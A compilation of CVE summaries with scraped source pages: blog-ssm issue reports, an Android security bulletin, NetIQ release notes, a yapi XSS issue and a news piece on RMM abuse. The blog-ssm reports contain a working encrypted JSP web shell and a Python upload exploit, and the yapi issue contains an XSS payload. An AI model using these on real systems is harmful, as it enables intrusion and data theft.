Jenkins Keycloak Authentication Plugin 2.3.0 and earlier does not invalidate the previous session on login.

CVE-2023-24456: Jenkins Security Advisory 2023-01-24

GNW dissector crash in Wireshark 4.0.0 to 4.0.2 and 3.6.0 to 3.6.10 and allows denial of service via packet injection or crafted capture file

CVE-2023-0416: Fuzz job crash output: fuzz-2023-01-03-10777.pcap (#18779) · Issues · Wireshark Foundation / wireshark · GitLab

File Upload Vulnerability found in Rawchen Blog-ssm v1.0 allowing attackers to execute arbitrary commands and gain escalated privileges via the /uploadFileList component.

**Unrestricted Upload of File with Dangerous Type In /uploadFileList****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:Registered account, username: text123, password: 123456.**

**Step2:Log in to the account you just registered and click "File Management".**

**Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.**

**Data Pack**

POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files\[\]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod("decode", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte\[\])decoder.getClass().getMethod("decodeBuffer", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%\>
-----------------------------352203683622881217472510347558--

**Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.**

**Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

CVE-2022-40035: Unrestricted Upload of File with Dangerous Type In /uploadFileList · Issue #3 · rawchen/blog-ssm

An issue was discovered in Rawchen blog-ssm v1.0 allows an attacker to obtain sensitive user information by bypassing permission checks via the /adminGetUserList component.

**Improper Authorization In /adminGetUserList****\[Suggested description\]**

blog-ssm v1.0 was found to contain an unauthorized access vulnerability through the component /adminGetUserList. This vulnerability allows an attacker to obtain sensitive user information by bypassing permission checks.

**\[Vulnerability Type\]**

Improper Authorization of Index Containing Sensitive Information

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:After a code audit, it was found that /adminGetUserList had unauthorized access and exported sensitive user information, such as account names and passwords.**

**Step2:Registered account, username: text123, password: 123456.**

**Step3:Log in to the account you just registered and access /adminGetUserList to obtain sensitive information such as password.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

False

**\[Reference(s)\]**

https://cwe.mitre.org/data/definitions/285.html

CVE-2022-40036: Improper Authorization In /adminGetUserList · Issue #5 · rawchen/blog-ssm

An issue discovered in Rawchen blog-ssm v1.0 allows remote attacker to escalate privileges and execute arbitrary commands via the component /upFile.

**Unrestricted Upload of File with Dangerous Type In /upFile****\[Suggested description\]**

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

**\[Vulnerability Type\]**

Unrestricted Upload of File with Dangerous Type

**\[Vendor of Product\]**

https://github.com/rawchen/blog-ssm

**\[Affected Product Code Base\]**

1.0

**\[Affected Component\]**

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

**\[Attack Vector\]****Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.**

**Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp**

**EXP:**

import requests

\# Configure the target URL.
Host \= "localhost:8081"
Path \= "upFile"
Url \= "http://{Host}/{Path}".format(Host\=Host, Path\=Path)
\# Configure Headers.
Headers \= {"sec-ch-ua-mobile": "?0",
           "sec-ch-ua-platform": "\\"Windows\\"",
           "Upgrade-Insecure-Requests": "1",
           "Origin": "http://{Host}".format(Host\=Host),
           "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/104.0.0.0 Safari/537.36",
           "Connection": "close"}
\# Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload,
\# and the encryptor is JAVA\_AES\_BASE64.
Data \= "------WebKitFormBoundaryNOyNFd8trb922Qzd\\r\\nContent-Disposition: form-data; name=\\"editormd-image-file\\"; " \\
       "filename=\\"text.jsp\\"\\r\\n" \\
       "Content-Type: image/jpeg\\r\\n\\r\\n" \\
       "<%! String xc=\\"3c6e0b8a9c15224a\\"; String pass=\\"pass\\"; String md5=md5(pass+xc); class X extends " \\
       "ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte\[\] cb){return super.defineClass(cb, 0, " \\
       "cb.length);} }public byte\[\] x(byte\[\] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \\
       "\\"AES\\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\\"AES\\"));return c.doFinal(s); }catch " \\
       "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {" \\
       "java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\\"MD5\\");m.update(s.getBytes(), 0, " \\
       "s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {" \\
       "}return ret; } public static String base64Encode(byte\[\] bs) throws Exception {Class base64;String value = " \\
       "null;try {base64=Class.forName(\\"java.util.Base64\\");Object Encoder = base64.getMethod(\\"getEncoder\\", " \\
       "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\\"encodeToString\\", new Class\[\] { " \\
       "byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception e) {try { base64=Class.forName(" \\
       "\\"sun.misc.BASE64Encoder\\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \\
       ").getMethod(\\"encode\\", new Class\[\] { byte\[\].class }).invoke(Encoder, new Object\[\] { bs });} catch (Exception " \\
       "e2) {}}return value; } public static byte\[\] base64Decode(String bs) throws Exception {Class base64;byte\[\] " \\
       "value = null;try {base64=Class.forName(\\"java.util.Base64\\");Object decoder = base64.getMethod(" \\
       "\\"getDecoder\\", null).invoke(base64, null);value = (byte\[\])decoder.getClass().getMethod(\\"decode\\", " \\
       "new Class\[\] { String.class }).invoke(decoder, new Object\[\] { bs });} catch (Exception e) {try { " \\
       "base64=Class.forName(\\"sun.misc.BASE64Decoder\\"); Object decoder = base64.newInstance(); value = (byte\[" \\
       "\])decoder.getClass().getMethod(\\"decodeBuffer\\", new Class\[\] { String.class }).invoke(decoder, new Object\[\] { " \\
       "bs });} catch (Exception e2) {}}return value; }%><%try{byte\[\] data=base64Decode(request.getParameter(" \\
       "pass));data=x(data, false);if (session.getAttribute(\\"payload\\")==null){session.setAttribute(\\"payload\\"," \\
       "new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\\"parameters\\"," \\
       "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \\
       "Class)session.getAttribute(\\"payload\\")).newInstance();f.equals(arrOut);f.equals(" \\
       "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \\
       "base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \\
       "Exception e){}\\r\\n%>\\r\\n" \\
       "------WebKitFormBoundaryNOyNFd8trb922Qzd--\\r\\n"
response \= requests.post(Url, headers\=Headers, data\=Data)
\# Output WebShell address and connection information.
Path \= response.json()\['url'\]
Url \= "http://{Host}{Path}".format(Host\=Host, Path\=Path)
print("Web\_Shell\_Url:{Url}".format(Url\=Url))
print("Web\_Shell\_Key:{Key}".format(Key\="key"))
print("Web\_Shell\_Pass:{Pass}".format(Pass\="pass"))
print("Web\_Shell\_Payload:{Payload}".format(Payload\="JavaDynamicPayload"))
print("Web\_Shell\_Encryptor:{Encryptor}".format(Encryptor\="JAVA\_AES\_BASE64"))

**Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.**

**\[Attack Type\]**

Remote

**\[Impact Code execution\]**

True

**\[Reference(s)\]**

http://cwe.mitre.org/data/definitions/23.html

CVE-2022-40037: Unrestricted Upload of File with Dangerous Type In /upFile · Issue #2 · rawchen/blog-ssm

An issue was discovered in the rollback feature of Elastic Endpoint Security for Windows, which could allow unprivileged users to elevate their privileges to those of the LocalSystem account.

CVE-2022-38775: Security issues

The PowerVR GPU kernel driver maintains an "Information Page" used by its cache subsystem. This page can only be written by the GPU driver itself, but prior to DDK 1.18 however, a user-space program could write arbitrary data to the page, leading to memory corruption issues.Product: AndroidVersions: Android SoCAndroid ID: A-259967780

_Published January 3, 2023 | Updated January 10, 2023_

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2023-01-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will revise this bulletin with the AOSP links when they are available.

The most severe of these issues is a high security vulnerability in the Framework component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.

**Android and Google service mitigations**

This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.

*   Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.
*   The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play.

**2023-01-01 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2023-01-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.

**Framework**

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20456

A-242703780

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20489

A-242703460

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20490

A-242703505

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20492

A-242704043

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20493

A-242846316

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20912

A-246301995

EoP

High

13

CVE-2023-20916

A-229256049

EoP

High

12, 12L

CVE-2023-20919

A-252663068

EoP

High

13

CVE-2023-20920

A-204584366

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20921

A-243378132

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20494

A-243794204

DoS

High

10, 11, 12, 12L, 13

CVE-2023-20908

A-239415861

DoS

High

10, 11, 12, 12L, 13

CVE-2023-20922

A-237291548

DoS

High

11, 12, 12L, 13

**System**

The most severe vulnerability in this section could lead to local escalation of privilege of BLE with no additional execution privileges needed.

**Google Play system updates**

The following issues are included in Project Mainline components.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20461

A-228602963

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20904

A-246300272

EoP

High

12L, 13

CVE-2023-20905

A-241387741

EoP

High

10

CVE-2023-20913

A-246933785

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20915

A-246930197

EoP

High

10, 11, 12, 12L, 13

 

Subcomponent

CVE

MediaProvider

CVE-2023-20912

**2023-01-05 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2023-01-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Kernel**

The most severe vulnerability in this section could lead to remote code execution with no additional execution privileges needed.

    

CVE

References

Type

Severity

Subcomponent

CVE-2022-42719

A-253642087  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

mac80211

CVE-2022-42720

A-253642015  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

WLAN

CVE-2022-42721

A-253642088  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

Multiple Modules

CVE-2022-2959

A-244395411  
Upstream kernel

EoP

High

Pipe

**Kernel components**

The most severe vulnerability in this section could lead to remote code execution with no additional execution privileges needed.

    

CVE

References

Type

Severity

Subcomponent

CVE-2022-41674

A-253641805  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

WLAN

CVE-2023-20928

A-254837884  
Upstream kernel

EoP

High

Binder driver

**Kernel LTS**

The following kernel versions have been updated. Kernel version updates are dependent on the version of Android OS at the time of device launch.

  

References

Android Launch Version

Minimum Kernel Version

A-224575820

12

5.10.101

**Imagination Technologies**

This vulnerability affects Imagination Technologies components and further details are available directly from Imagination Technologies. The severity assessment of this issue is provided directly by Imagination Technologies.

    

CVE

References

Severity

Subcomponent

CVE-2022-20235  

A-259967780 \*

High

PowerVR-GPU

**MediaTek components**

These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

    

CVE

References

Severity

Subcomponent

CVE-2022-32635  

A-257714327  
M-ALPS07573237 \*

High

gps

CVE-2022-32636  

A-257846591  
M-ALPS07510064 \*

High

keyinstall

CVE-2022-32637  

A-257860658  
M-ALPS07491374 \*

High

hevc decoder

**Unisoc components**

These vulnerabilities affect Unisoc components and further details are available directly from Unisoc. The severity assessment of these issues is provided directly by Unisoc.

    

CVE

References

Severity

Subcomponent

CVE-2022-44425  

A-258731891  
U-2028856 \*

High

Kernel

CVE-2022-44426  

A-258728978  
U-2028856 \*

High

Kernel

CVE-2022-44427  

A-258736883  
U-1888565 \*

High

Kernel

CVE-2022-44428  

A-258741356  
U-1888565 \*

High

Kernel

CVE-2022-44429  

A-258743555  
U-1981296 \*

High

Kernel

CVE-2022-44430  

A-258749708  
U-1888565 \*

High

Kernel

CVE-2022-44431  

A-258741360  
U-1981296 \*

High

Kernel

CVE-2022-44432  

A-258743558  
U-1981296 \*

High

Kernel

CVE-2022-44434  

A-258760518  
U-2064988 \*

High

Android

CVE-2022-44435  

A-258759189  
U-2064988 \*

High

Android

CVE-2022-44436  

A-258760519  
U-2064988 \*

High

Android

CVE-2022-44437  

A-258759192  
U-2064988 \*

High

Android

CVE-2022-44438  

A-258760781  
U-2064988 \*

High

Android

**Qualcomm components**

These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Subcomponent

CVE-2022-22088  

A-231156521  
QC-CR#3052411

Critical

Bluetooth

CVE-2022-33255  

A-250627529  
QC-CR#3212699

High

Bluetooth

**Qualcomm closed-source components**

These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Subcomponent

CVE-2021-35097  

A-209469821 \*

Critical

Closed-source component

CVE-2021-35113  

A-209469998 \*

Critical

Closed-source component

CVE-2021-35134  

A-213239776 \*

Critical

Closed-source component

CVE-2022-23960  

A-238203772 \*

High

Closed-source component

CVE-2022-25725  

A-238101314 \*

High

Closed-source component

CVE-2022-25746  

A-238106983 \*

High

Closed-source component

CVE-2022-33252  

A-250627159 \*

High

Closed-source component

CVE-2022-33253  

A-250627591 \*

High

Closed-source component

CVE-2022-33266  

A-250627569 \*

High

Closed-source component

CVE-2022-33274  

A-250627236 \*

High

Closed-source component

CVE-2022-33276  

A-250627271 \*

High

Closed-source component

CVE-2022-33283  

A-250627602 \*

High

Closed-source component

CVE-2022-33284  

A-250627218 \*

High

Closed-source component

CVE-2022-33285  

A-250627435 \*

High

Closed-source component

CVE-2022-33286  

A-250627240 \*

High

Closed-source component

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

To learn how to check a device's security patch level, see Check and update your Android version.

*   Security patch levels of 2023-01-01 or later address all issues associated with the 2023-01-01 security patch level.
*   Security patch levels of 2023-01-05 or later address all issues associated with the 2023-01-05 security patch level and all previous patch levels.

Device manufacturers that include these updates should set the patch string level to:

*   \[ro.build.version.security\_patch\]:\[2023-01-01\]
*   \[ro.build.version.security\_patch\]:\[2023-01-05\]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2023-01-01 security patch level. Please see this article for more details on how to install security updates.

**2\. Why does this bulletin have two security patch levels?**

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

*   Devices that use the 2023-01-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.
*   Devices that use the security patch level of 2023-01-05 or newer must include all applicable patches in this (and previous) security bulletins.

Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

**3\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**4\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**5\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**6\. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?**

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

**Versions**

  

Version

Date

Notes

1.0

January 3, 2022

Bulletin Published

1.1

January 5, 2022

Bulletin revised to include AOSP links

1.2

January 10, 2022

Revised CVE Table

CVE-2022-20235: Android Security Bulletin—January 2023  |  Android Open Source Project

Cross-site Scripting (XSS) vulnerability in NetIQ iManager prior to version 3.2.6 allows attacker to execute malicious scripts on the user's browser. This issue affects: Micro Focus NetIQ iManager NetIQ iManager versions prior to 3.2.6 on ALL.

February 2022

NetIQ iManager 3.2 SP6 resolves previous issues. Many of these improvements were made in direct response to suggestions from our customers. We thank you for your time and valuable input. We hope you continue to help us ensure our products meet all your needs. You can post feedback in the iManager Community Support Forums, our community Web site that also includes product notifications, blogs, and product user groups.

For a full list of all issues resolved in NetIQ iManager 3.x, including all patches and service packs, refer to TID 7016795, “History of Issues Resolved in NetIQ iManager 3.x”.

For more information about this release and for the latest release notes, see the iManager Documentation Web site. To download this product, see the Software License and Download portal.

*   What’s New
    
*   System Requirements
    
*   Installing or Upgrading
    
*   Known Issues
    
*   Legal Notice
    

**1.0 What’s New**

iManager 3.2 SP6 provides the following enhancements and fixes in this release:

*   Operating System Support
    
*   Updates for Dependent Components
    
*   Fixed Issues
    

**1.1 Operating System Support**

In addition to the platforms supported in previous releases of iManager, this release adds support for the following:

*   Red Hat Enterprise Linux (RHEL) 8.5
    
*   Windows Server 2022
    

**1.2 Updates for Dependent Components**

This release adds support for the following third-party components:

*   Azul Zulu 1.8.0\_312
    
*   Apache Tomcat 9.0.55-1
    
*   OpenSSL 1.0.2za
    
*   Log4j 2.17.1
    

**1.3 Fixed Issues**

This release includes the following software fixes that resolve several previous issues:

**Resolved Security Vulnerabilities**

This version of iManager resolves security vulnerability CVE-2021-38134. Special thanks to Kajetan Rostojek for responsibly disclosing the information about CVE-2022-38758 to us.

**Occasional Delay When Loading Pages on the iManager User Interface After Upgrading to iManager 3.2.5**

_Fix:_ With the latest version of Tomcat 9.0.55-1 bundled with iManager 3.2.6, there is no longer any delay while loading the pages on the iManager User Interface.(Defect 440043)

**Connection Timeout Issue Seen When Modifying Directory Objects or Using Plug-Ins**

_Fix:_ With the latest version of Tomcat 9.0.55-1 bundled with iManager 3.2.6, there is no longer any delay while navigating the pages or browsing objects on the iManager User Interface. (Defect 448035)

**2.0 System Requirements**

For information about prerequisites, computer requirements, installation, upgrade or migration, see Planning to Install iManager in the NetIQ iManager Installation Guide.

_NOTE:_iManager uses the modified version of XULRunner on Windows. The source code for the modified XULRunner is available under the Mozilla Public License version 2.0. If you need further assistance with any issue, contact Technical Support.

**3.0 Installing or Upgrading**

To upgrade to iManager 3.2 SP6, you need to be on iManager 2.7.7 P11 or higher.

For more information on upgrading to iManager 3.2 SP6, see the NetIQ iManager Installation Guide.

IMPORTANT:

*   This version of iManager supports only eDirectory 9.2.6 or above when both are installed on the same machine. If you are upgrading iManager 2.7.7 P11 to 3.2 SP6, ensure that your eDirectory is also upgraded to 9.2.6 before upgrading iManager.
    
*   When you install or upgrade to iManager 3.2 SP6, a new imanager\_logging.xml file is created that includes the latest log4j 2.17.1 capabilities. During the upgrade process, the existing imanager\_logging.xml file is replaced with a new one. As a result, the previous audit settings are lost. To allow auditing for iManager events, you must configure the audit settings again in the new imanager\_logging.xml file after the upgrade. Make sure to take a backup of the existing file in a different location before performing the upgrade. For more information, see Auditing iManager Events in the NetIQ iManager Administration Guide.
    

**4.0 Known Issues**

NetIQ Corporation strives to ensure our products provide quality solutions for your enterprise software needs. There are no new issues other than the issues mentioned in the NetIQ iManager 3.2 SP5 Release Notes. If you need further assistance with any issue, please contact Technical Support.

**4.1 iManager Workstation Does Not Work on SLED 12 SP3, SLED 15, OpenSUSE Leap 42.3, OpenSUSE 13.2, and Onward**

_Workaround:_ To workaround this issue, launch iManager using the iManager.sh command and access the workstation through another browser via the URL: http://localhost:8080/nps. The port number can differ. You can find the port number in the iManager.log file located at <extracted\_directory>/imanager/bin/iManager.log location.

**5.0 Legal Notice**

For information about legal notices, trademarks, disclaimers, warranties, export and other use restrictions, U.S. Government rights, patent policy, and FIPS compliance, see https://www.netiq.com/company/legal/.

Copyright © 2022 NetIQ Corporation, a Micro Focus company. All Rights Reserved.

CVE-2022-38758: NetIQ iManager 3.2 Service Pack 6 Release Notes

Cross Site Scripting (XSS) vulnerability in yapi 1.9.1 allows attackers to execute arbitrary code via the /interface/api edit page.

**版本号**

~ 1.9.1

**什么问题**

~Stored XSS in remarks of the interface

**如何复现此问题**

~ Demo: https://yapi.baidu.com

1.  Create a group after login:  
    
2.  Then create a new project:  
    
3.  Enter the project, and add an interface:  
    
4.  After adding successfully, enter the interface edit page:  
    
5.  Scroll down to the remark module. Insert the payload:  
    <? =><video src=x onerror=alert(document.domain)>  
    
6.  After saving, return to the group. Click on the member list and add the username we want to attack. (There is no need for confirmation from the target user, as long as the user name is correct, the target user can be added to the project. Here we use another account to test.)  
    
7.  After the victim logged into the system, he found that he was added to a group:  
    
8.  He entered the group, viewed the project interface, entered the edit page, and triggered the XSS Payload inserted by the attacker.  
    

**什么浏览器**

~ Firefox Chrome

**什么系统（Linux, Windows, macOS）**

macOS

CVE-2021-36686: Stored XSS in remarks of the interface · Issue #2190 · YMFE/yapi

Hackers don't need a key to get past your defenses, if they can essentially teleport using RMMs, warns CISA and the NSA.

It has come to light that hackers cleverly utilized two off-the-shelf remote monitoring and management systems (RMMs) to breach multiple Federal Civilian Executive Branch (FCEB) agency networks in the US last summer.

On Jan. 25, the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Multi-State Information Sharing and Analysis Center (MS-ISAC) released a joint advisory detailing the attacks, warning the cybersecurity community about the malicious use of commercial RMM software, and offering mitigations and indicators of compromise to watch out for.

IT service providers use RMMs to remotely monitor and manage clients' networks and endpoints. But hackers can use the same software to bypass typical software control policies and authorization requirements on victim computers — as the US government found out.

**How Hackers Breached the Government With RMMs**

Last October, CISA conducted a retrospective analysis of Einstein — its intrusion detection system, deployed across FCEB agencies. The researchers found, perhaps, more than they'd bargained for.

In mid-June last year, hackers sent a phishing email to an FCEB employee's government address. The email prompted the employee to call a phone number. Calling the number prompted them to visit a malicious Web address: "myhelpcare.online."

Visiting the domain triggered the download of an executable, which then connected to a second domain, which is where two RMMs — AnyDesk and ScreenConnect (now ConnectWise Control) — came into play. The second domain didn't actually install AnyDesk and ScreenConnect clients onto the target's machine. Instead, it went backward: downloading the programs as self-contained, portable executables, configured to connect back to the threat actor's server.

Why does this matter? "Because," the authoring organizations explained, "portable executables do not require administrator privileges, they can allow execution of unapproved software even if a risk management control may be in place to audit or block the same software's installation on the network."

Having made a mockery of admin privileges and software controls, the threat actors could then use the executable "to attack other vulnerable machines within the local intranet or establish long term persistent access as a local user service."

It turns out, though, that the June compromise was merely the tip of an iceberg. Three months later, traffic was observed between a different FCEB network and a similar domain — "myhelpcare.cc" — and further analysis, the authors recalled, "identified related activity on many other FCEB networks."

Despite targeting government employees, the attackers appear to have been financially motivated. After connecting to target machines, they enticed victims to log in to their bank accounts, then "used their access through the RMM software to modify the recipient’s bank account summary," the authors wrote. "The falsely modified bank account summary showed the recipient was mistakenly refunded an excess amount of money. The actors then instructed the recipient to 'refund' this excess amount to the scam operator."

**Why Hackers Like RMMs**

Hackers have a long history of utilizing legitimate software for illegitimate ends. Most popular are red-team tools — like Cobalt Strike and Metasploit — which cyber defenders use to test their own systems but can be seamlessly applied in the same way in an adversarial context.

